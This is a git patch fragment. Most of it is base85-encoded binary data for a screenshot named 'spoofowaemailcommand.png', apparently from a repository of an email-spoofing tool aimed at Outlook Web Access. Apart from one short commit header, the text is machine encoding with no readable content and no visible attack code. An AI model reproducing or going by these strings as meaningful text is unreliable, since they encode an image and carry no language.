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 S?1lFT_ Date: Wed, 24 Jul 2024 13:21:37 +0100 Subject: [PATCH 21/37] Update pic --- .github/spoofowaemailcommand.png | Bin 15332 -> 32951 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/.github/spoofowaemailcommand.png b/.github/spoofowaemailcommand.png index 46fb4b5a77db81e81d62ee69d3c145be9d38f6f4..f048a6ad54f716127fa8e9be39eb68448b5cb2e0 100644 GIT binary patch literal 32951 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 